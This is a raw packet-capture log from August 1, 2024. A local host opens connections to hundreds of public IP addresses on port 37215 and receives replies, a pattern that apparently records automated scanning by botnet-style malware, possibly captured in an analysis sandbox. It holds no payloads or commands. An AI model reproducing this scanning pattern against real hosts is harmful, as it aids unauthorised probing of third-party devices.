Aug 1, 2024 15:34:58.058775902 CEST	35788	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:58.058785915 CEST	39214	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:58.058787107 CEST	54156	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:58.058787107 CEST	43462	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:58.058800936 CEST	35982	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:58.058815002 CEST	39564	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:58.058821917 CEST	58702	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:58.058821917 CEST	38286	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:58.058846951 CEST	34514	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:58.058851004 CEST	34330	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:58.058864117 CEST	35068	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:58.058864117 CEST	33348	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:58.058887005 CEST	51530	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:58.058887959 CEST	59778	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:58.058897972 CEST	50872	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:58.058898926 CEST	57040	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:58.058913946 CEST	46206	37215	192.168.2.14	41.126.121.67
Aug 1, 2024 15:34:58.058913946 CEST	49210	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:58.058921099 CEST	34712	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:58.058938026 CEST	42132	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:58.058938980 CEST	46126	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:58.058943987 CEST	49734	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:58.058945894 CEST	46614	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:58.058964968 CEST	37258	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:58.058964968 CEST	35898	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:58.058970928 CEST	56218	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:58.058970928 CEST	59662	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:58.058979988 CEST	42394	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:58.058996916 CEST	50504	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:58.059009075 CEST	52660	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:58.059010029 CEST	51976	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:58.059026957 CEST	54836	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:58.059031010 CEST	43542	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:58.059046984 CEST	38350	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:58.059062958 CEST	35486	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:58.059076071 CEST	48580	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:58.059092999 CEST	44082	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:58.059114933 CEST	44852	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:58.059125900 CEST	44990	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:58.059134960 CEST	37294	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:58.059421062 CEST	46658	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.059627056 CEST	37215	47767	197.65.108.30	192.168.2.14
Aug 1, 2024 15:34:58.059637070 CEST	37215	47767	212.190.57.96	192.168.2.14
Aug 1, 2024 15:34:58.059647083 CEST	37215	47767	41.96.145.99	192.168.2.14
Aug 1, 2024 15:34:58.059658051 CEST	37215	47767	157.12.156.65	192.168.2.14
Aug 1, 2024 15:34:58.059664011 CEST	47767	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.059664011 CEST	47767	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.059668064 CEST	37215	47767	157.12.108.240	192.168.2.14
Aug 1, 2024 15:34:58.059679031 CEST	47767	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.059679031 CEST	37215	47767	157.247.36.52	192.168.2.14
Aug 1, 2024 15:34:58.059684038 CEST	47767	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.059699059 CEST	37215	47767	197.121.57.225	192.168.2.14
Aug 1, 2024 15:34:58.059709072 CEST	37215	47767	157.132.71.173	192.168.2.14
Aug 1, 2024 15:34:58.059715986 CEST	47767	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.059715986 CEST	47767	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.059726954 CEST	37215	47767	41.137.205.74	192.168.2.14
Aug 1, 2024 15:34:58.059736013 CEST	47767	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.059736013 CEST	47767	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.059740067 CEST	37215	47767	125.247.115.64	192.168.2.14
Aug 1, 2024 15:34:58.059766054 CEST	47767	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.059771061 CEST	47767	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.059849024 CEST	37215	47767	197.191.33.129	192.168.2.14
Aug 1, 2024 15:34:58.059859991 CEST	37215	47767	157.168.134.231	192.168.2.14
Aug 1, 2024 15:34:58.059869051 CEST	37215	47767	41.108.225.40	192.168.2.14
Aug 1, 2024 15:34:58.059879065 CEST	37215	47767	197.154.223.242	192.168.2.14
Aug 1, 2024 15:34:58.059887886 CEST	47767	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.059890032 CEST	37215	47767	45.92.12.80	192.168.2.14
Aug 1, 2024 15:34:58.059900045 CEST	47767	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.059906006 CEST	47767	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.059911013 CEST	37215	47767	41.48.148.177	192.168.2.14
Aug 1, 2024 15:34:58.059921026 CEST	37215	47767	80.107.166.82	192.168.2.14
Aug 1, 2024 15:34:58.059932947 CEST	37215	47767	2.233.87.191	192.168.2.14
Aug 1, 2024 15:34:58.059937954 CEST	47767	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.059946060 CEST	37215	47767	41.52.120.7	192.168.2.14
Aug 1, 2024 15:34:58.059947968 CEST	47767	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.059957981 CEST	47767	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.059957981 CEST	47767	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.059973001 CEST	37215	47767	197.16.114.102	192.168.2.14
Aug 1, 2024 15:34:58.059986115 CEST	37215	47767	41.89.31.71	192.168.2.14
Aug 1, 2024 15:34:58.059988022 CEST	47767	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.059994936 CEST	37215	47767	157.168.51.50	192.168.2.14
Aug 1, 2024 15:34:58.060003996 CEST	47767	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.060004950 CEST	37215	47767	41.233.214.196	192.168.2.14
Aug 1, 2024 15:34:58.060012102 CEST	47767	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.060014009 CEST	37215	47767	41.229.81.160	192.168.2.14
Aug 1, 2024 15:34:58.060017109 CEST	47767	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.060017109 CEST	47767	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.060034037 CEST	37215	47767	114.84.21.38	192.168.2.14
Aug 1, 2024 15:34:58.060041904 CEST	47767	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.060044050 CEST	47767	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.060045004 CEST	37215	47767	197.127.161.143	192.168.2.14
Aug 1, 2024 15:34:58.060055017 CEST	37215	47767	106.163.137.105	192.168.2.14
Aug 1, 2024 15:34:58.060076952 CEST	47767	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.060077906 CEST	47767	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.060094118 CEST	47767	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.060153008 CEST	58240	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.060844898 CEST	45634	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.060951948 CEST	37215	47767	157.165.188.148	192.168.2.14
Aug 1, 2024 15:34:58.060962915 CEST	37215	47767	41.74.231.89	192.168.2.14
Aug 1, 2024 15:34:58.060983896 CEST	37215	47767	41.56.36.10	192.168.2.14
Aug 1, 2024 15:34:58.060987949 CEST	47767	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.060995102 CEST	37215	47767	46.203.164.151	192.168.2.14
Aug 1, 2024 15:34:58.061018944 CEST	47767	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.061018944 CEST	47767	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.061021090 CEST	37215	47767	41.229.239.179	192.168.2.14
Aug 1, 2024 15:34:58.061028957 CEST	47767	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.061063051 CEST	47767	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.061369896 CEST	37215	47767	157.32.51.249	192.168.2.14
Aug 1, 2024 15:34:58.061382055 CEST	37215	47767	157.63.216.221	192.168.2.14
Aug 1, 2024 15:34:58.061400890 CEST	37215	47767	197.228.171.36	192.168.2.14
Aug 1, 2024 15:34:58.061403036 CEST	47767	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.061410904 CEST	37215	47767	161.151.213.58	192.168.2.14
Aug 1, 2024 15:34:58.061419964 CEST	37215	47767	157.27.194.23	192.168.2.14
Aug 1, 2024 15:34:58.061420918 CEST	47767	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.061430931 CEST	37215	47767	208.8.183.194	192.168.2.14
Aug 1, 2024 15:34:58.061440945 CEST	37215	47767	125.225.95.55	192.168.2.14
Aug 1, 2024 15:34:58.061440945 CEST	47767	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.061448097 CEST	47767	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.061450005 CEST	37215	47767	41.24.31.127	192.168.2.14
Aug 1, 2024 15:34:58.061454058 CEST	37215	47767	157.89.65.138	192.168.2.14
Aug 1, 2024 15:34:58.061456919 CEST	47767	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.061459064 CEST	37215	47767	191.125.78.193	192.168.2.14
Aug 1, 2024 15:34:58.061463118 CEST	37215	47767	100.252.103.55	192.168.2.14
Aug 1, 2024 15:34:58.061466932 CEST	47767	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.061474085 CEST	37215	47767	91.252.54.120	192.168.2.14
Aug 1, 2024 15:34:58.061485052 CEST	37215	47767	41.84.21.46	192.168.2.14
Aug 1, 2024 15:34:58.061491013 CEST	47767	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.061492920 CEST	47767	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.061495066 CEST	37215	47767	197.75.199.195	192.168.2.14
Aug 1, 2024 15:34:58.061497927 CEST	47767	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.061506033 CEST	37215	47767	147.191.79.16	192.168.2.14
Aug 1, 2024 15:34:58.061510086 CEST	47767	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.061513901 CEST	53014	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.061517000 CEST	37215	47767	197.62.156.140	192.168.2.14
Aug 1, 2024 15:34:58.061517954 CEST	47767	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.061525106 CEST	47767	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.061526060 CEST	47767	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.061527014 CEST	47767	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.061527967 CEST	37215	47767	157.219.98.19	192.168.2.14
Aug 1, 2024 15:34:58.061537981 CEST	47767	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.061541080 CEST	37215	47767	197.125.178.115	192.168.2.14
Aug 1, 2024 15:34:58.061546087 CEST	47767	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.061553001 CEST	37215	47767	41.49.111.213	192.168.2.14
Aug 1, 2024 15:34:58.061564922 CEST	37215	47767	157.53.30.186	192.168.2.14
Aug 1, 2024 15:34:58.061568975 CEST	47767	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.061573029 CEST	47767	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.061573982 CEST	37215	47767	197.212.133.243	192.168.2.14
Aug 1, 2024 15:34:58.061584949 CEST	47767	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.061584949 CEST	37215	47767	197.23.159.50	192.168.2.14
Aug 1, 2024 15:34:58.061588049 CEST	47767	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.061597109 CEST	37215	47767	197.156.116.195	192.168.2.14
Aug 1, 2024 15:34:58.061616898 CEST	47767	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.061624050 CEST	47767	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.061629057 CEST	47767	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.062290907 CEST	54406	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.062364101 CEST	37215	47767	41.94.135.61	192.168.2.14
Aug 1, 2024 15:34:58.062410116 CEST	47767	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.062444925 CEST	37215	47767	58.248.163.171	192.168.2.14
Aug 1, 2024 15:34:58.062455893 CEST	37215	47767	200.108.203.195	192.168.2.14
Aug 1, 2024 15:34:58.062464952 CEST	37215	47767	157.44.4.136	192.168.2.14
Aug 1, 2024 15:34:58.062474966 CEST	37215	47767	41.63.31.12	192.168.2.14
Aug 1, 2024 15:34:58.062489033 CEST	47767	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.062489033 CEST	47767	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.062503099 CEST	47767	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.062513113 CEST	47767	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.062587023 CEST	37215	47767	41.228.33.211	192.168.2.14
Aug 1, 2024 15:34:58.062597036 CEST	37215	47767	157.37.239.222	192.168.2.14
Aug 1, 2024 15:34:58.062607050 CEST	37215	47767	196.225.244.156	192.168.2.14
Aug 1, 2024 15:34:58.062618971 CEST	37215	47767	157.66.197.74	192.168.2.14
Aug 1, 2024 15:34:58.062628031 CEST	37215	47767	157.94.115.44	192.168.2.14
Aug 1, 2024 15:34:58.062628984 CEST	47767	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.062633038 CEST	47767	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.062639952 CEST	47767	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.062643051 CEST	37215	47767	157.100.85.156	192.168.2.14
Aug 1, 2024 15:34:58.062654018 CEST	37215	47767	8.168.250.255	192.168.2.14
Aug 1, 2024 15:34:58.062660933 CEST	47767	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.062664032 CEST	37215	47767	41.38.181.108	192.168.2.14
Aug 1, 2024 15:34:58.062671900 CEST	47767	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.062674046 CEST	37215	47767	157.164.17.192	192.168.2.14
Aug 1, 2024 15:34:58.062676907 CEST	47767	37215	192.168.2.14	157.100.85.156
Aug 1, 2024 15:34:58.062685013 CEST	37215	47767	41.85.61.54	192.168.2.14
Aug 1, 2024 15:34:58.062693119 CEST	47767	37215	192.168.2.14	8.168.250.255
Aug 1, 2024 15:34:58.062696934 CEST	37215	47767	34.214.141.25	192.168.2.14
Aug 1, 2024 15:34:58.062706947 CEST	37215	47767	197.143.50.107	192.168.2.14
Aug 1, 2024 15:34:58.062720060 CEST	37215	47767	197.183.29.85	192.168.2.14
Aug 1, 2024 15:34:58.062726021 CEST	47767	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.062726974 CEST	47767	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.062726974 CEST	47767	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.062731981 CEST	37215	47767	197.122.92.13	192.168.2.14
Aug 1, 2024 15:34:58.062731981 CEST	47767	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.062738895 CEST	47767	37215	192.168.2.14	197.143.50.107
Aug 1, 2024 15:34:58.062742949 CEST	37215	47767	143.168.137.235	192.168.2.14
Aug 1, 2024 15:34:58.062755108 CEST	47767	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.062761068 CEST	37215	47767	41.49.20.76	192.168.2.14
Aug 1, 2024 15:34:58.062772036 CEST	37215	47767	101.107.3.199	192.168.2.14
Aug 1, 2024 15:34:58.062772989 CEST	47767	37215	192.168.2.14	143.168.137.235
Aug 1, 2024 15:34:58.062774897 CEST	47767	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.062798977 CEST	37215	47767	157.107.85.170	192.168.2.14
Aug 1, 2024 15:34:58.062799931 CEST	47767	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.062841892 CEST	47767	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.062841892 CEST	47767	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.062880039 CEST	37215	47767	157.142.158.108	192.168.2.14
Aug 1, 2024 15:34:58.062920094 CEST	47767	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.062936068 CEST	36502	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.062961102 CEST	37215	47767	157.225.94.19	192.168.2.14
Aug 1, 2024 15:34:58.062974930 CEST	37215	47767	80.200.121.68	192.168.2.14
Aug 1, 2024 15:34:58.063004017 CEST	37215	47767	157.170.219.246	192.168.2.14
Aug 1, 2024 15:34:58.063008070 CEST	47767	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.063030958 CEST	47767	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.063039064 CEST	47767	37215	192.168.2.14	157.170.219.246
Aug 1, 2024 15:34:58.063683033 CEST	42612	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.063980103 CEST	37215	47767	157.212.103.225	192.168.2.14
Aug 1, 2024 15:34:58.064003944 CEST	37215	47767	197.221.32.60	192.168.2.14
Aug 1, 2024 15:34:58.064013958 CEST	37215	47767	157.218.24.13	192.168.2.14
Aug 1, 2024 15:34:58.064018965 CEST	47767	37215	192.168.2.14	157.212.103.225
Aug 1, 2024 15:34:58.064023972 CEST	37215	47767	178.238.175.34	192.168.2.14
Aug 1, 2024 15:34:58.064044952 CEST	47767	37215	192.168.2.14	197.221.32.60
Aug 1, 2024 15:34:58.064058065 CEST	47767	37215	192.168.2.14	178.238.175.34
Aug 1, 2024 15:34:58.064085960 CEST	37215	47767	197.253.151.124	192.168.2.14
Aug 1, 2024 15:34:58.064095974 CEST	37215	47767	197.10.15.163	192.168.2.14
Aug 1, 2024 15:34:58.064105034 CEST	37215	47767	157.200.170.208	192.168.2.14
Aug 1, 2024 15:34:58.064115047 CEST	37215	47767	157.54.77.9	192.168.2.14
Aug 1, 2024 15:34:58.064126968 CEST	47767	37215	192.168.2.14	157.218.24.13
Aug 1, 2024 15:34:58.064126968 CEST	47767	37215	192.168.2.14	197.253.151.124
Aug 1, 2024 15:34:58.064127922 CEST	47767	37215	192.168.2.14	197.10.15.163
Aug 1, 2024 15:34:58.064132929 CEST	37215	47767	157.26.67.215	192.168.2.14
Aug 1, 2024 15:34:58.064136028 CEST	47767	37215	192.168.2.14	157.200.170.208
Aug 1, 2024 15:34:58.064142942 CEST	37215	47767	118.160.2.151	192.168.2.14
Aug 1, 2024 15:34:58.064152956 CEST	37215	47767	41.131.236.241	192.168.2.14
Aug 1, 2024 15:34:58.064157009 CEST	37215	47767	41.11.5.143	192.168.2.14
Aug 1, 2024 15:34:58.064161062 CEST	37215	47767	197.1.184.71	192.168.2.14
Aug 1, 2024 15:34:58.064167023 CEST	47767	37215	192.168.2.14	157.54.77.9
Aug 1, 2024 15:34:58.064172029 CEST	37215	47767	197.117.126.25	192.168.2.14
Aug 1, 2024 15:34:58.064172983 CEST	47767	37215	192.168.2.14	157.26.67.215
Aug 1, 2024 15:34:58.064189911 CEST	47767	37215	192.168.2.14	197.1.184.71
Aug 1, 2024 15:34:58.064192057 CEST	37215	47767	197.81.128.136	192.168.2.14
Aug 1, 2024 15:34:58.064201117 CEST	47767	37215	192.168.2.14	118.160.2.151
Aug 1, 2024 15:34:58.064201117 CEST	47767	37215	192.168.2.14	41.11.5.143
Aug 1, 2024 15:34:58.064203024 CEST	37215	47767	197.170.243.36	192.168.2.14
Aug 1, 2024 15:34:58.064214945 CEST	37215	47767	41.22.204.61	192.168.2.14
Aug 1, 2024 15:34:58.064215899 CEST	47767	37215	192.168.2.14	41.131.236.241
Aug 1, 2024 15:34:58.064215899 CEST	47767	37215	192.168.2.14	197.117.126.25
Aug 1, 2024 15:34:58.064224005 CEST	47767	37215	192.168.2.14	197.81.128.136
Aug 1, 2024 15:34:58.064225912 CEST	37215	47767	197.29.84.225	192.168.2.14
Aug 1, 2024 15:34:58.064233065 CEST	47767	37215	192.168.2.14	197.170.243.36
Aug 1, 2024 15:34:58.064235926 CEST	37215	47767	197.26.4.4	192.168.2.14
Aug 1, 2024 15:34:58.064249992 CEST	47767	37215	192.168.2.14	41.22.204.61
Aug 1, 2024 15:34:58.064254999 CEST	37215	47767	41.234.95.81	192.168.2.14
Aug 1, 2024 15:34:58.064256907 CEST	47767	37215	192.168.2.14	197.29.84.225
Aug 1, 2024 15:34:58.064265013 CEST	37215	47767	197.63.209.100	192.168.2.14
Aug 1, 2024 15:34:58.064265966 CEST	47767	37215	192.168.2.14	197.26.4.4
Aug 1, 2024 15:34:58.064270020 CEST	37215	47767	8.83.79.13	192.168.2.14
Aug 1, 2024 15:34:58.064279079 CEST	37215	47767	197.187.156.124	192.168.2.14
Aug 1, 2024 15:34:58.064289093 CEST	37215	47767	41.10.13.32	192.168.2.14
Aug 1, 2024 15:34:58.064299107 CEST	37215	47767	197.231.23.128	192.168.2.14
Aug 1, 2024 15:34:58.064301968 CEST	47767	37215	192.168.2.14	41.234.95.81
Aug 1, 2024 15:34:58.064310074 CEST	47767	37215	192.168.2.14	197.63.209.100
Aug 1, 2024 15:34:58.064311981 CEST	37215	47767	197.221.32.36	192.168.2.14
Aug 1, 2024 15:34:58.064315081 CEST	47767	37215	192.168.2.14	8.83.79.13
Aug 1, 2024 15:34:58.064316034 CEST	47767	37215	192.168.2.14	197.187.156.124
Aug 1, 2024 15:34:58.064328909 CEST	47767	37215	192.168.2.14	41.10.13.32
Aug 1, 2024 15:34:58.064337015 CEST	37215	47767	41.43.129.128	192.168.2.14
Aug 1, 2024 15:34:58.064341068 CEST	47767	37215	192.168.2.14	197.231.23.128
Aug 1, 2024 15:34:58.064347982 CEST	37215	47767	197.238.222.163	192.168.2.14
Aug 1, 2024 15:34:58.064377069 CEST	47767	37215	192.168.2.14	197.221.32.36
Aug 1, 2024 15:34:58.064379930 CEST	47767	37215	192.168.2.14	41.43.129.128
Aug 1, 2024 15:34:58.064379930 CEST	47767	37215	192.168.2.14	197.238.222.163
Aug 1, 2024 15:34:58.064398050 CEST	56302	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.065103054 CEST	43122	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.065510988 CEST	37215	47767	129.37.191.133	192.168.2.14
Aug 1, 2024 15:34:58.065551996 CEST	47767	37215	192.168.2.14	129.37.191.133
Aug 1, 2024 15:34:58.065588951 CEST	37215	47767	197.59.129.183	192.168.2.14
Aug 1, 2024 15:34:58.065599918 CEST	37215	47767	140.26.111.223	192.168.2.14
Aug 1, 2024 15:34:58.065614939 CEST	37215	47767	104.65.171.109	192.168.2.14
Aug 1, 2024 15:34:58.065624952 CEST	37215	47767	197.170.166.168	192.168.2.14
Aug 1, 2024 15:34:58.065634012 CEST	37215	47767	197.156.170.223	192.168.2.14
Aug 1, 2024 15:34:58.065637112 CEST	47767	37215	192.168.2.14	140.26.111.223
Aug 1, 2024 15:34:58.065638065 CEST	37215	47767	41.76.64.133	192.168.2.14
Aug 1, 2024 15:34:58.065639019 CEST	47767	37215	192.168.2.14	197.59.129.183
Aug 1, 2024 15:34:58.065651894 CEST	47767	37215	192.168.2.14	104.65.171.109
Aug 1, 2024 15:34:58.065665007 CEST	37215	47767	157.64.196.165	192.168.2.14
Aug 1, 2024 15:34:58.065665007 CEST	47767	37215	192.168.2.14	197.156.170.223
Aug 1, 2024 15:34:58.065665007 CEST	47767	37215	192.168.2.14	41.76.64.133
Aug 1, 2024 15:34:58.065689087 CEST	37215	47767	41.219.180.37	192.168.2.14
Aug 1, 2024 15:34:58.065696001 CEST	47767	37215	192.168.2.14	197.170.166.168
Aug 1, 2024 15:34:58.065700054 CEST	37215	47767	197.39.160.230	192.168.2.14
Aug 1, 2024 15:34:58.065705061 CEST	47767	37215	192.168.2.14	157.64.196.165
Aug 1, 2024 15:34:58.065732956 CEST	47767	37215	192.168.2.14	41.219.180.37
Aug 1, 2024 15:34:58.065741062 CEST	47767	37215	192.168.2.14	197.39.160.230
Aug 1, 2024 15:34:58.065781116 CEST	37215	47767	157.94.158.81	192.168.2.14
Aug 1, 2024 15:34:58.065788031 CEST	54890	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.065790892 CEST	37215	47767	157.236.77.233	192.168.2.14
Aug 1, 2024 15:34:58.065802097 CEST	37215	47767	123.26.126.109	192.168.2.14
Aug 1, 2024 15:34:58.065813065 CEST	37215	47767	157.57.147.129	192.168.2.14
Aug 1, 2024 15:34:58.065823078 CEST	47767	37215	192.168.2.14	157.236.77.233
Aug 1, 2024 15:34:58.065830946 CEST	47767	37215	192.168.2.14	123.26.126.109
Aug 1, 2024 15:34:58.065841913 CEST	47767	37215	192.168.2.14	157.94.158.81
Aug 1, 2024 15:34:58.065845966 CEST	47767	37215	192.168.2.14	157.57.147.129
Aug 1, 2024 15:34:58.065870047 CEST	37215	47767	41.203.143.150	192.168.2.14
Aug 1, 2024 15:34:58.065881968 CEST	37215	47767	157.159.193.210	192.168.2.14
Aug 1, 2024 15:34:58.065892935 CEST	37215	47767	140.23.212.138	192.168.2.14
Aug 1, 2024 15:34:58.065905094 CEST	37215	47767	41.13.136.121	192.168.2.14
Aug 1, 2024 15:34:58.065915108 CEST	37215	47767	157.95.111.196	192.168.2.14
Aug 1, 2024 15:34:58.065917969 CEST	47767	37215	192.168.2.14	41.203.143.150
Aug 1, 2024 15:34:58.065917969 CEST	47767	37215	192.168.2.14	157.159.193.210
Aug 1, 2024 15:34:58.065924883 CEST	37215	47767	157.69.195.1	192.168.2.14
Aug 1, 2024 15:34:58.065936089 CEST	47767	37215	192.168.2.14	140.23.212.138
Aug 1, 2024 15:34:58.065944910 CEST	37215	47767	157.252.233.186	192.168.2.14
Aug 1, 2024 15:34:58.065946102 CEST	47767	37215	192.168.2.14	157.95.111.196
Aug 1, 2024 15:34:58.065956116 CEST	37215	47767	34.176.211.15	192.168.2.14
Aug 1, 2024 15:34:58.065962076 CEST	47767	37215	192.168.2.14	41.13.136.121
Aug 1, 2024 15:34:58.065963030 CEST	47767	37215	192.168.2.14	157.69.195.1
Aug 1, 2024 15:34:58.065964937 CEST	37215	47767	39.12.170.103	192.168.2.14
Aug 1, 2024 15:34:58.065974951 CEST	37215	47767	157.41.80.145	192.168.2.14
Aug 1, 2024 15:34:58.065984964 CEST	37215	47767	41.169.14.215	192.168.2.14
Aug 1, 2024 15:34:58.065984964 CEST	47767	37215	192.168.2.14	157.252.233.186
Aug 1, 2024 15:34:58.065989017 CEST	47767	37215	192.168.2.14	34.176.211.15
Aug 1, 2024 15:34:58.065994978 CEST	37215	47767	197.198.253.95	192.168.2.14
Aug 1, 2024 15:34:58.065996885 CEST	47767	37215	192.168.2.14	39.12.170.103
Aug 1, 2024 15:34:58.066005945 CEST	37215	47767	41.93.99.146	192.168.2.14
Aug 1, 2024 15:34:58.066015005 CEST	37215	47767	130.231.171.152	192.168.2.14
Aug 1, 2024 15:34:58.066020966 CEST	47767	37215	192.168.2.14	41.169.14.215
Aug 1, 2024 15:34:58.066030025 CEST	47767	37215	192.168.2.14	197.198.253.95
Aug 1, 2024 15:34:58.066030979 CEST	47767	37215	192.168.2.14	157.41.80.145
Aug 1, 2024 15:34:58.066034079 CEST	47767	37215	192.168.2.14	41.93.99.146
Aug 1, 2024 15:34:58.066174030 CEST	47767	37215	192.168.2.14	130.231.171.152
